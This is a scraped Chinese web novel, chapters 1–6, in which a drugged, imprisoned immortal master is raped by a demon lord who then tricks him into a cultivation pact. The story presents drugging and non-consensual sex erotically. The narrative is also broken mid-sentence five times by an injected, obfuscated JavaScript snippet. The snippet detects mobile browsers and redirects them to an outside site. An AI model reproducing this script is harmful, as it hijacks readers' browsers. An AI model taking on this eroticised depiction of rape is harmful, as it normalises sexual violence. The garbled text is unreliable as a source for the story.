《我死后魔尊不开心》 1. 第 1 章 “……额……放开我……”月轻盈尾音满是迫切的颤抖。 昏暗的牢房。 月轻盈整个人在地上抽搐打滚,额角浸出汗,拧着的细眉里都是隐忍的痛苦,嫣红的唇瓣吐出喘息。 不时一行清泪划过他绝美的脸庞。 “住……住手……我是你们的师尊啊……额……” 体内药力一个翻涌,逼的月轻盈吐出轻哼,剧烈的药性让他的神志有些不清。 他不自觉的挺起了胸,渴望有人碰触,无意识地扭着腰臀,长腿也缓缓弓起,双脚在冰凉的地面上的轻蹭,好缓解体内的燥热。 他无助的摇头,眼神迷离,浓密纤长的睫毛上都是泪珠,吐出的气息粘腻灼热很是香甜。 “……咳咳……帮……帮帮我……”月轻盈浑身一个轻颤,被媚药折磨的节节败退。 他坐起身,满脸通红,眼神恍惚带着诱惑,攀爬着,伸手向牢房外的几个人影抓去。 黑暗中有多只手掌伸出,在快要碰触到那颤抖的带着求救意味的指尖时。 月轻盈灵台突然一阵轰鸣,他立刻惊醒,抽回软绵无力的手汇聚仙力,在自己的腕间划上见骨的一击。 血腥味立刻充斥着整个空间。 月轻盈的手腕上早已是血肉模糊一片,他硬是咬牙没有吐出一句疼。 差点就能拥有月轻盈的几只手掌愤恨攥成拳。 脚步声响起,自黑影中走出三人。 “不愧是仙临山第一仙尊,吃了百倍的媚药还能在最后关头忍住欲望。” “小川……” 月轻盈靠坐在墙上,满脸通红,眼神迷离,胸膛起伏不住喘息,散乱的衣着里漂亮粉红色肌肤若隐若现。 他落在腿间的双手紧握成拳,指缝间的鲜血不住滴落。 为了让自己保持清醒,他只能自残让自己感受疼意。 他用余光瞥见着牢房外的三道人影,分别是他的三个徒弟。 个个样貌出落的可比天人,在修炼上天赋也是百里挑一,平日里更是对他恭敬恭顺,将尊师二字完整体现。 事情为何会变得这样? 看着三个徒弟眼中失去理智的猩红色,月轻盈眼里带上了痛苦的泪水。 三日前。 魔族与正道终于开战。 魔族在有能迷惑人心的食灵花的助力下,覆灭了正道。 因其食灵花的功效,所有正道人士都成了魔族的附庸,变成了没有思想的形尸。 他的三个徒弟亦是如此。 而他做为仙临山第一仙尊,虽然抵挡住了食灵花的功效,却也抵不过魔族和失智的正道人士的联合攻击。 重伤后被关押在牢房里。 “小川、小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762303|174437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 河、小宵、你们快清醒一点……” 说完这句话,月轻盈身体轻颤,软软哼了一声,豆大的汗珠滴落,眼神迅速失焦,喉间滚出呻.吟。 “……药……解药……唔……” 不过片刻,他又恢复了清醒,手起刀落,血腥味再次充斥着鼻腔。 “看着仙尊自残,真没意思,我都没兴致了。” 小川垂头,看着自己软下去的东西,眼里的猩红色暗淡。 “不过我有办法让仙尊兴奋起来。” 他伸出手在月轻盈的头顶上安置了一个铃铛,脸上带着邪笑。 “仙尊,你要是控制不住可得摇铃啊,到时候我们三个肯定会让仙尊舒服的欲生欲死。” 话落音,他伸手用灵力强迫月轻盈张开嘴,吞下手掌兜不住很大剂量的媚药。 月轻盈眼神里都是惊恐,身体也不住挣扎起来,眼泪被逼的大颗大颗落下,满脸都是痛苦。 “唔……唔唔不……不要……”似是吐出最后的倔强,月轻盈在地上扭滚片刻,眼神顿时变得乖软起来。 他看着垂钓在头上的铃铛,像是被蛊惑一般抬起了手,颤巍巍的要去拉扯那拖曳的细绳…… “这就坚持不住了?仙临山第一仙尊好像也没有什么了不起……” 黑色迷雾袭来,一道沉稳混浊的男人声音在牢房里响起。 2. 第 2 章 牢房墙壁上未被封死的窗口,渗透进一丝清幽的月光。 魔尊沈砚台负手踏步而来。 他着一身红衣,衣领和腰封上皆都挂着翠玉,行走碰撞间叮铃作响,一双长腿笔直有力。 丰厚的黑发半扎半披散,发尾落在他挺立的背脊,挺阔的眉宇、细长的眉眼,唇瓣勾着浅笑,让他看起来似地狱鬼魅。 走至月轻盈的身边,黑色长靴径直踩在一袭洁白的仙衣上,眉眼带着戏谑,垂眸看着在地上轻蹭的男人。 “呵,第一仙尊原是如此放荡的男人。” 月轻盈的神智早已被药力冲散,他双瞳涣散,满脸涨红,泪已涟涟,嫣红的唇舌间滚出无助的乞求。 “帮……帮帮我……” “那可不行。”沈砚台眼瞳幽深,微俯下身,翠玉叮铃,他目光逐寸逐寸下移,轻笑。 “正道人士怎么能和魔族的人有染,不怕被嘲自甘堕落?” “唔……”月轻盈哭泣,他听不清来人在说什么,只知道他很难受,四肢百骸像是被蚁虫啃咬,麻酥酥地。 “救……救救我……”月轻盈泪眼朦胧,微拧着眉,伸出骨节细长的手,露出脆弱的手腕抓扯住沈砚台的衣摆。 “啧,本来我只是想来看戏的,怎么被你给缠磨上了?” 沈砚台没怎么用力,就将月轻盈的手给震开了。 月轻盈的手腕间全是他为了保持清醒自残划出的伤口,这下被惊动,疼的他一个激灵。 意识稍稍恢复,脸蛋依旧烧红着,他在看清沈砚台的长相后,汪着春水的眼神瞬间凝聚成冰。 “魔尊沈砚台,你怎么在这里……”转念一想,他抬眸又强撑着费力道:“你是该在这里,你是来杀我的。” 药力刚发作完,他语气软软的还带着糯糯的鼻音,好似无害的小动物。 一点也没有之前和他魔族百万士兵厮杀时,身上带着的肃杀和冷然气息。 沈砚台挑眉,审视着露出不一样神色的月轻盈。 “对啊,你都要死了怎么还这么坦然?” “既然正道覆灭,我已是阶下囚,若是寻生想来以你魔尊的手段,必会让我生不如死,不如就此被你了断。” 月轻盈闭上眼睛,有泪珠从他浓密睫毛中滚落,药力再度袭击,他再度软了身子,不受控制的轻轻磨蹭。 “看……看够了吗!” “还算尽兴。” 沈砚台欣赏完他的狼狈,慢条斯理道来缘由。 “说什么杀不杀的,怪吓人的,我们魔族可曾杀你正道人士?” “没杀,你却让他们成为活死人,有何不同。” 月轻盈扭过头,不愿意搭理看似闲聊的邻家小哥实则阴狠毒辣的沈砚台。 “唔……”身体里的药力他逐渐承受不住,即使手被抓烂,唇被咬破,他方法用尽,还是难以抵挡。 “你怎么还不动手?”月轻盈被药力和嘀嘀咕咕烦人的沈砚台磨的不耐烦了。 他抬起衣袖,蹭去模糊了眼帘的泪水,烧红的脸蛋和他通红的眼睛,都在诉说他即将到达临界点。 “不啊,我又没说是来杀你的,我是来看看,能抵挡住食灵花蛊惑的人到底有什么过人之处。” 沈砚台蹲下身,看着缩成一团抖的不成样的月轻盈,试着抬手轻轻拨弄,他就自发滚到了他的怀里。 “投怀送抱啊?” 月轻盈眼瞳涣散,逐渐没了意识,双手缠着他的小腿,脑袋在他大腿轻蹭,口中呜咽不止。 “那让我看看抵挡得住食灵花的蛊惑,却抵挡不住药力的你到底是怎么回事。” 沈砚台的手覆上月轻盈的脸,掌心处一阵柔软,烧红的脸带着高温,很烫。 沈砚台愣了一下。 随即就见刚才还闭着眼睛磨蹭的月轻盈不知何时张开了眼睛,眼神湿淋淋地,带着无助的乞求。 沈砚台眼皮一跳,下一秒,月轻盈轻轻抽泣了起来,整个人更是往他身上贴。 带有檀香味的亲吻不要钱似的糊在他的脸上。 沈砚台心如止水,面无表情,甚至有些烦。 他将月轻盈一把推开,“你不要太过分了,我是来给你磨蹭的吗,我是来……” 他突然怔住,下一秒,一口血猛地吐了出来! 像是懵了,他怔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762304|174437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怔的抬手去蹭唇角,等看到一手的血红色,这才反应过来,立刻对月轻盈拍出一掌,怀疑是他耍的把戏。 月轻盈瞬间滚出老远,清瘦的身躯猛烈撞击在牢房的栅栏上,后腰处的长铁直接弯折。 “噗……”月轻盈吐出一口血来,软倒在地上生死不明。 沈砚台惊疑不定的看了他许久,缓步上前,先是用魔力将他困住,后在他身上搜索有没有能伤的了他的法器。 等月轻盈被扒光了,也没有任何发现,沈砚台有些手足无措。 他怎么会无端端的吐血。 他记得他突然心梗,之后就吐血了,是他自己的问题。 他抬起手,看着掌心里的血,突然被一丝微光所吸引。 鲜血上面覆盖了一层时不时发光的粉末,沈砚台面色凝重,心在下沉。 这是食灵花的毒。 他中毒了。 这难道就是报应吗? 他用食灵花覆灭正道,整个世间被他魔族统治,他还没吸收掉这些生命成为神,怎么能先被毒死。 他耗费了几千年的苦心,都尚不曾快活些年岁,命运却要他死? 弑杀的戾气让沈砚台看起来浑身充斥凶煞气息,魔气翻涌,他快要陷入癫狂。 “唔……” 月轻盈躺在地上,身上没有遮蔽物,正值夜晚他觉得有些冷,受伤后身体很疼,加之体内的药力又烧灼着他脆弱的神经。 各种痛苦让他忍不住扭滚,发现自己被禁锢,他更是惊呼着想要摆脱。 看着地上不时有动静的白花花躯体,沈砚台灵台瞬间变地清明,戾气也消散了下去。 “对啊,还有你,或许你就是这天下唯一可以解食灵花毒的人呢。” 他朝着月轻盈走过去,一手将他提溜起来,打量他半晌后,忽然张开嘴露出尖牙咬在了月轻盈的脖颈。 咕咚。 腥甜的血被舌尖裹入腹,沈砚台拧眉,细细感受了一下,不行,还是心口痛。 他将月轻盈拉到眼前,无视他无力垂落的身体和脖颈间的伤口,逡巡了起来。 “你的血不能解毒……那么……” 3. 第 3 章 他的眼神变地深邃,视线落在了月轻盈开口呼痛的唇瓣上。 视线划动,手里的人未着寸缕,肌肤白皙滑腻,头发如瀑般漆黑,该粉的地方粉,骨骼细瘦清艳。 “把你当解药用,好像我也没有那么讨厌。” 他凑上去碰了碰月轻盈的唇瓣,檀香馥郁,他的灵台清明了不少,心情也变得愉悦了起来。 只是他魔尊大人的第一次怎么能在这狭窄脏丑的牢房。 沈砚台抱着月轻盈的腰,一个挥手来到自己的房间。 使了一个清尘术,沈砚台看着复又熬不过药力摧残,在床上扭滚哭泣的月轻盈,缓缓褪下了衣裳。 月轻盈是被疼醒的。 他整个人好似处在升阶的舒适中,身体暖洋洋的没有一丝痛苦。 就是他总觉得自己的头不是很舒服,耳边不时还有砰砰响声。 朦胧间睁开眼,眼前模糊,只见一道熟悉的脸在眼帘上方摇晃。 “你……” 沈砚台扯回他的身体,手掌随意的在他额顶抚了抚。 好吧,他就是故意无视月轻盈撞到头了。 等月轻盈再度晕过去后,沈砚台下床换上干净的衣袍,还是觉得憋闷。 本打算好奇完月轻盈为何没有中食灵花的蛊惑后就将他杀掉。 谁知突生了变故。 他眯着眼,看着闭眼,脸上露出安稳睡颜的月轻盈,突然抽出一把刀。 随即毫不犹豫的在自己的手臂上划了一道,鲜血如柱,他凑近仔细观察。 鲜血里依旧有食灵花的毒素,可是剂量却比发现时要少很多。 月轻盈是……暂时不能杀了。 将刀收回,沈砚台随意挥手,刚才还肉眼可见的伤立刻恢复。 “我该拿你怎么办?” 沈砚台凑近月轻盈,看他绝美的脸,视线落在他柔和的眉眼,和他刚才亲了又亲的唇瓣上。 想起那唇瓣柔软又香甜,沈砚台没忍住舔了舔舌。 “你让我分析一下。” “我是魔族,你是正道,咱俩是死敌。” “然后我中毒,你解毒,咱俩是医生和病患。” “要是我中毒一事被传了出去,魔族肯定会有动荡,搞不好我也有杀身之祸。” “那为了魔族,为了我自己的安全,我肯定不能暴露中毒一事对吧?” “对了,你的三个徒弟还在我手上,你应该很想救他们吧?” “既然如此,我便装成救你的人,一边和你签订双修契约骗你为我解毒,一边怂恿你救徒弟杀魔尊,等我解毒成功后再将你们灭杀,你应该没有怨言吧?” 沈砚台眯眼,很满意自己亲手打造的杀杀杀剧本。 “很好。” 手一抬,光线变暗,再度回到了狭窄脏乱的牢房。 看着还睡的香甜的月轻盈,沈砚台有些不耐烦了,“动的是我,怎么你累成这样?” 他不信第一仙尊身体这么弱。 “醒醒……”沈砚台伸出长腿,脚尖用力提着月轻盈的小腿。 月轻盈被惊醒,看着熟悉的牢房才慢慢缓过神来。 定是药力发作时,他坚持不住昏了过去吧。 想到这,他又有些惊慌,立刻抬头去看头顶上方那吊着的铃铛。 拖曳的绳索还挂在空中,没有被拉扯的痕迹,月轻盈被吓到有些煞白的脸,逐渐恢复了血色,还好,他没有做出混账举措。 还好,他和他的徒弟们没有跨过不伦的横沟。 “你在庆幸什么?”一道带着戏谑的声音响起。 月轻盈转头,这才发现牢房的角落里居然还坐着一个人。 “你是谁?”他眼神警惕,往后退了退。 就这几个小动作,忽然让他变了脸色,好疼!他的腰,大腿,屁股都好似被碾压了般的疼! 沈砚台见状,头扭到一边,脸不红心不跳:“我是先前被魔族的人关押在这里的魂修。” “魂修?”月轻盈压抑住差点滚出喉间的痛吟,闻言有些被吸引。 魂修是指渡劫失败后,灵魂没有被天雷打散的修士。 上天好德,愿意给渡劫失败的修士一次机会,即使身毁,灵魂依旧可以修炼。 “你胡说,若如你是魂修,方才我被关进牢房中为何未曾见到你。” 月轻盈心存怀疑,眉眼下压,第一仙尊的气势横扫,沈砚台被劲风啪啪打了脸。 沈砚台眼眸闪烁,刚刚那么乖现在那么凶,相一对比,他还是喜欢乖软的月轻盈。 “方才来的那些人身上有魔尊沈砚台的气息,我不敢现身,直到他们走了我才敢出来。” 月轻盈想到被食灵花蛊惑的三个徒弟,眼眸里满是担忧。 “如此,是我误会你了。” 提到沈魔尊沈砚台,月轻盈正襟了脸色,这才想起来查看四周,他记得他昏迷前是见过沈砚台的。 “魔尊沈砚台……”他抬眸去看魂修。 “走了。”魂修说:“他见你昏迷后,嘀咕了一句无趣后就离开了。” “原是如此,多谢道友。”月轻盈轻吐出气,靠坐在墙上,满心慌乱,不知道该怎么做。 正道的人都已经被食灵花蛊惑,唯有他一人还保持清醒,此刻,他能做些什么。 身为仙临山第一仙尊,他又真的能苟活吗? “我知道你所担心之事,若我说,有一个法子可以助你解决眼下的困境,你可愿……” “什么法子?”月轻盈有些急切的问。 魂修是已经修炼过一次渡劫过一次的修士了,虽然他不清楚眼前的魂修修为如何,但仅凭他死过一次还能修炼,他就相信他绝对有法子。 虽然这些法子可能来路不正,他也要听一听,事关无数人命,他不能轻言放弃,否则愧对第一仙尊的名声。 对面的魂修忽然起身,月轻盈往后退了退,却见下一秒,这魂修竟是凑近他,拉进了两人距离。 “对不住道友,你身中媚药的事其实我知道,而我为了自己的修为,将你……” “你说什么……”月轻盈眼神里有着迷茫。 见魂修一言不发的看着自己,他终于确信自己听到的不是假话。 “你……你竟然……”月轻盈想到刚才自己身体的不适,懵了,那不是侥幸而是真的被破了身,他气的浑身发抖,眼眶猩红。 “你到底是何居心,为什么要这样对我!”月轻盈深受打击,狠狠怒瞪着魂修。 怪不得他一觉醒来身魂舒畅,怪不得他能平安无事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762305|174437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的度过药力冲击期。 “原来是你,你怎么能对我做这种事!”月轻盈气的浑身冰凉。 眼前的魂修来路不明,甚至也不知道他有没有对自己做其他的事。 他本就心焦于救徒弟救天下之事,这时候再节外生枝,他根本无暇顾及。 “你……你滚,滚!不要出现在我面前!”月轻盈气血翻涌,终究没抵住,哇的吐出一口血。 沈砚台见他气极如此,眼中眸光一闪,立刻道。 “如若我不救你,你就会死,你不知道,要不是我,你就要扯下头顶上方的绳索了!” 月轻盈一怔,随即陷入了悲伤和绝望,他抬眼去看魂修,一时间竟是不知道说什么。 要不是魂修,他差点和徒弟…… 又因为魂修,他在糊里糊涂状态下被破了身…… 他做错什么了,月轻盈忽然有些崩溃,渡劫被劈的皮开肉绽他没哭。 跟魔族百万士兵打,身受重伤他没哭。 中了猛药的毒,咬破唇瓣,神智不清,差点割断手腕他没哭。 一滴泪从他的眼角滑落。 月轻盈气的稳不住身子,他抬手扶在牢门上,眼里满是无助和困惑。 沈砚台沉默,几息后,见他情绪稍稍稳定了,这才复又开口。 只是声音低沉了许多:“我渡劫前是合欢宗的修士,死后也是练的合欢功法。” 月轻盈看着他,眼前发黑,废了好大的功夫才压抑住想杀人的念头。 “说下去。” “你别担心,我现如今是大罗金仙的修为,比你的修为还高两个阶级。” 沈砚台故意把修为往高了说,不然月轻盈不会对双修契约感兴趣。 月轻盈眸光怔然,一语不发静静听他继续说下去。 魂修说:“你被关进牢房里,你所遇到的事我也从你和你徒弟的谈话中了解的差不多。” “我想……”沈砚台盯着还垂挂在月轻盈下颌线上的那颗泪珠,话语间顿了顿。 月轻盈见他遮遮掩掩,眼底清明,他闭上眼,觉得好笑,算是知道了这个魂修打的是什么主意了。 “你想和我双修?”月轻盈唇瓣颤抖。 “是……”魂修劝道:“我修为不低,和我双修你没有损失……而且,你也要继续修炼才好救出你的徒弟们不是吗?” 月轻盈看着魂修,搭在牢门上的手逐渐收紧,手下用力,门被他指甲刮下一层木屑,他的手也是指甲翻开,鲜血淋漓。 现如今的月轻盈没有任何出路。 魂修说的对。 眼下他只有这一条路可走。 他不再去看魂修,心神不定,不知道要不要答应。 见他还在犹豫,沈砚台抿唇,心情不似刚才那般轻松。 他有些不爽,和他双修他有什么不满! 刚才他不是对自己挺满意,还深一点重一点各种提要求! 他看着月轻盈绝美的脸,忽然想到了问题的症结所在。 他伸手摸上了脸。 刚才他一直处在角落阴影中,月轻盈肯定没看清他的长相。 沈砚台给自己做了张脸,往前凑了凑,在月光下展露出来。 “你是不是在意容貌,我长的不丑的。” 4. 第 4 章 心事重重的月轻盈,闻言想笑,只是他实在笑不出来,撇了魂修一眼,扯了一下唇角。 那轻描淡写的一撇,满是他对容貌的不在意。 “……” 沈砚台不甘心! 他凑到月轻盈的面前,伸手掐住他的下巴,强迫他看着自己。 月轻盈不喜欢不熟的人靠近自己,态度还这么强势,下意识抬手就要将他的手打开。 只是他忘了,他抬起的这只手的手腕,先前被他狠狠剜了几击,此刻只剩薄薄的皮肉相连,仿佛下一秒就会断裂。 “额……”月轻盈疼得冷汗涔涔,一张脸煞白如纸。 “你的手……”沈砚台垂眸去看毫不在意自己伤势的月轻盈,有点生气他作践自己。 第一仙尊遇事后竟是如此不堪一击! “你变成这样是魔尊沈砚台的错,被破身是我的错,你就算要报仇也应该找我们,拿自己出气做什么?” 月轻盈眼眸轻轻眨动,有些动容,抬眸看向魂修,看他挺阔的眉宇皱着,看他喋喋不休,看他为自己疗伤。 他唇瓣翕动两下,終是过不了心里那关,跟一个陌生男人双修。 他撇过脸,抽离视线,不去看低头专注他伤口的魂修。 看着月轻盈手腕间因自己费心,呈现出的很漂亮的包扎手法,沈砚台有点生气。 他瞪着月轻盈,希望他不要不识抬举。 这一瞪,倒是让他发现了月轻盈脖颈间的痕迹,那是他吸咬出来的。 很明艳,很扎眼,提醒他做过的事,还有他谋划的杀杀杀剧本。 他眼神变地凶恶,在月轻盈看向他时又恢复如常,态度变软。 “我是魂修,可以悄无声息的潜伏在魔族,就在刚才,我冒着生命危险,让我的分.身去探查,终于找到了解开食灵花蛊惑人心的方法。” 一直眼睑微垂不知道在想什么的月轻盈,猛地抬眸去看他,眼神变地明亮。 沈砚台挑眉,声音近似蛊惑:“只要你答应和我双修,想来你的几个徒弟们很快就会被解救。” 月轻盈眼眸中有流光浮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762306|174437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动,却未吭声。 时间已然过去了半晌。 月轻盈还是未表态,沈砚台眯眼,垂在膝盖上的手一下下敲着。 若是月轻盈还不答应的话,他就得用点极端手段了。 这时候,他听到窸窸窣窣的声音。 略一抬眼,他就见着月轻盈跪坐着在整理自己的仙衣,本是不染尘埃的纯白,如今却是沾染了血与污秽。 月轻盈接着挽起自己如绸缎般有些乱的长发,又牵起衣角整平,净去眼角的泪水,整体仪容还算衬的上第一仙尊才罢手。 迎着牢房窗口的月光,他眉眼温润,眼神坚定,高举手扣在额心结印,缓缓闭上眼,对着魂修缓缓下拜。 “双修之事我答应了,还望道友日后倾力相助,待救出我的徒弟,灭了魔尊沈砚台,道友得以飞升之时,契约作废。” 沈砚台看着月轻盈一套行云流水的动作,愣住了。 反应过来后,他唇角扯出笑,眼里邪气大盛,眉眼尽显张狂。 月轻盈终究沦为他的玩物。 5. 第 5 章 沈砚台笑着高举手扣在额心结印,对着一直未起身的月轻盈,缓缓下拜。 “那么……我们的双修契约便算是成功结契了。” 牢房窗外的月光皎洁温柔,朦朦胧胧一层落在对拜的两人身上。 “起来吧。”沈砚台扶着月轻盈的胳膊起身。 月轻盈不自在的抽回自己的胳膊,轻声道:“谢道友。” “既已是双修的关系,喊道友多有生疏,在下名唤石墨。” 月轻盈唇瓣一抿,对两人已是双修的关系接受的还没有那么迅速。 对于石墨释放的亲近也有些无所适从,他低首,未顺从的喊他名讳。 沈砚台挑眉:“我知道你现在还不适应,不想喊我也不强求……” 岂料…… “石墨。”淡淡的玉石之音从月轻盈的口中吐出。 沈砚台一怔。 月轻盈抬眸看他,又迅速垂下眼,轻声道:“石墨兄说的没错,你我二人既已是双修关系,我若一直冰冷态度待你,想来双修时,对我二人的修为也没有帮助。” 沈砚台眼眸变深,看着眼前的月轻盈抬手朝他作揖,歉意道:“是我考虑不周,还望石墨兄莫要挂心。” 沈砚台看着不似先前那般一击就倒,此刻思虑周全又竖起了屏障的第一仙尊月轻盈,忽然心情有些复杂。 月轻盈能这么快恢复,都是他给了他虚假的希望。 可笑。 只是这样玩弄起他来才更加的有趣。 月轻盈心里忧虑,石墨兄该不会是着恼了吧? “无事,我并未放在心上,那以后我便唤你……盈盈可好?” 盈盈…… 月轻盈有些受到惊吓。 他爹他娘尚未如此唤他,石墨唤的那声盈盈未免太过亲密太过孟浪了。 是为了什么? 他虚心请教:“这么喊是为了更亲近,双修时可以增进修为吗?” 沈砚台:“……” 看清楚月轻盈眼里清澈的迷惑,本来想笑他愚蠢的沈砚台,内心忽然涌上了负罪感。 “仙临山第一仙尊月轻盈,清冷出尘,丰神俊秀,你以后就继续保持这样也挺好的。” 月轻盈眼里的迷惑更深,只是眉头皱了起来,不知为何,他总觉得石墨说的话不是好话。 就在两人谈话间,忽听不远处的黑暗中有脚步声在靠近。 沈砚台转头看去,眼神锐利,瞬间看穿来人是月轻盈的三个徒弟。 当日拿下这三人还颇费了些他的功夫。 月轻盈本就是第一仙尊,对仙法的造诣和修炼上的感悟是无人能及的天资。 收的徒弟天赋更是一个比一个好,他们强悍的实力让他动心。 便用食灵花夺取了三人的神智,将他们收入自己的麾下听令于他,下达的第一件事就是让他们欺辱他们的仙尊。 而那媚药自然也是他送出去的。 虽然是他率先品尝了月轻盈,也不否认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762307|174437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月轻盈的青涩很美味让他感到愉悦。 但是这并不代表,他就要放弃观看对于三个徒弟欺辱仙尊的戏码。 他是魔,没有人性和道德可言,遇见有趣的事只想着取悦自己。 月轻盈念叨着要救徒弟,他的徒弟却被控制着想欺辱他,他实在好奇他的选择。 是选择救徒弟,甘愿雌伏于男人身下被迫欺辱承欢…… 还是会自尊心作祟对徒弟痛下杀手…… “猜到是谁来了吗?”沈砚台视线落在月轻盈身上。 “是……我那三个徒儿……” 月轻盈唇瓣紧抿,脸上有着窘迫和难堪,他抬眸看向沈砚台。 “石墨兄,我该如何做……才能清清白白的救下我的徒弟?” 撒谎有解救法子的沈砚台:“……” 真——搬起石头砸了自己的脚。 沈砚台一言不发,陷入沉思。 食灵花是寄生在修士身上,吸取修士生命力的魔花。 为了不让修士反抗,它的根系扎根在修士的身上,释放出的毒素会制造出幻境,将修士们的神智困住,身体由食灵花的主人操纵。 而他就是食灵花的主人。 月轻盈要想解救他的徒弟们,要么毁了花,要么杀了他。 “石墨兄先前所说的探查到的法子是什么?”月轻盈见他不答,开始催促。 沈砚台回神,眼眸戏谑:“毁了食灵花,只是食灵花一般都扎根在修士们的……” 6. 第 6 章 “丹田?”月轻盈一愣。 “没错,丹田,修士们体内最为精纯的精气便是藏储在丹田,食灵花以修士们为食,自然扎根在那里。” 月轻盈大概明白了,而丹田位于下腹三寸。 极其隐秘的位置。 沈砚台边说边用探究的眼神看着月轻盈,见他神色迷茫,很是取悦了他。 他怀着坏心,继续往下说:“食灵花在吸□□纯精气的时候,无暇顾及其他,要想让它主动从修士身上离开,那就得让它感到愉悦。” “如何……让它愉悦……” 沈砚台用温柔的语气说的越清晰,月轻盈的预感越发不妙。 果不其然。 沈砚台贴着他笑了起来:“世上除了精气,食灵花们最喜爱的便是人与人之间交欢时的……就是方才我们所做的那些……” 月轻盈犹如当头被打了一棒,怔然,继而脸色难看,眼底猩红,身躯也有些摇摇欲坠。 “食灵花……不愧是魔花……必须铲除!”好生邪恶,竟是喜欢那种污浊的东西。 月轻盈痛恨之余,又头疼欲裂。 “除此之外,可还有别的法子?” 沈砚台眯眼看着他为此着恼焦虑,慢悠悠道:“或许有别的法子,可我不敢靠近魔族范围,未探听到其他的法子。” 也就是说,目前只有这个办法可以救出他的徒弟们。 接二连三的难题,让月轻盈有些发晕,他伸出手扶着一旁的牢门,像是难以承受,深呼吸后缓缓摇头。 “不行,我是他们的师尊,我不能……” 见他痛苦抉择,沈砚台很满意,打算收手了,走时还坏心眼的捉弄他一番。 “看来沈砚台很喜欢你的三个徒儿,你徒儿们身上的魔气真是浓厚的吓人,他们来了,我先躲起来。” “石墨兄!”月轻盈回头,就见石墨已经藏匿在黑暗之中。 看着此刻狭窄压抑的牢房,月轻盈有些慌乱无神,虽和石墨兄接触不久,但不可否认,他现在逐渐开始依赖他了。 “仙尊……” 一道似幽魂般的声音自背后响起,月轻盈眼皮一个轻抬,转身缓缓看向从黑暗中走来的三道挺拔人影。 正是他的徒弟们。 他们眼里明晃晃的猩红色在黑暗中异常夺目。 “小川……”月轻盈唇瓣绷紧。 “真是的,等了许久,仙尊怎么还没有拉响铃铛?莫不是铃铛坏了?” 小川满是少年英气的脸上浮现疑惑,他歪歪脑袋,抬手一个弹指一道气流朝着铃铛击去。 “叮铃……”碰撞间的脆响很是刺耳。 月轻盈闭眼,微微侧头躲闪。 “是会响的啊,……”小川微微一顿,垂下手,接着忽然疯癫了一般冲到了牢房前,双手用力,牢房的铁栅栏被他捏的变了形。 “没坏啊……为何仙尊不摇铃?仙尊中了媚药不痛苦吗?不难受吗?” 小川接踵而至的质问让月轻盈难堪,他干脆闭眼不做回应。 没事的,他们是被食灵花蛊惑了,他会救出他们的。 “等一下师兄。”一旁年纪更偏小一点,身姿偏瘦一点的少年,发现了问题。 “怎么了,小河?”小川转头去看师弟小河。 “仙尊身上……媚药的气息消失了。” 唰唰刷。 立刻有三道逼迫的视线击中在月轻盈的身上。 月轻盈眉睫颤抖,想到了石墨,他抿唇不语。 “奇怪……为什么仙尊身上媚药的气息会消失?” “啊……可能是仙尊的仙力将药性卸掉了……” “仙尊真厉害啊……” “仙尊怎么不说话……” 小川小河小宵三个人在一起嘀嘀咕咕。 月轻盈掀开了眼帘。 看着合谋打算羞辱他的三个徒弟,眼里有着挣扎,想到石墨说的解救他们的法子,他陷入了痛苦中。 而就在此时,似是受不了他冷漠的三个徒弟,莫名陷入了沉寂中。 之后猛地癫狂了起来。 “为什么仙尊不需要我们!是不喜欢我们了吗!” 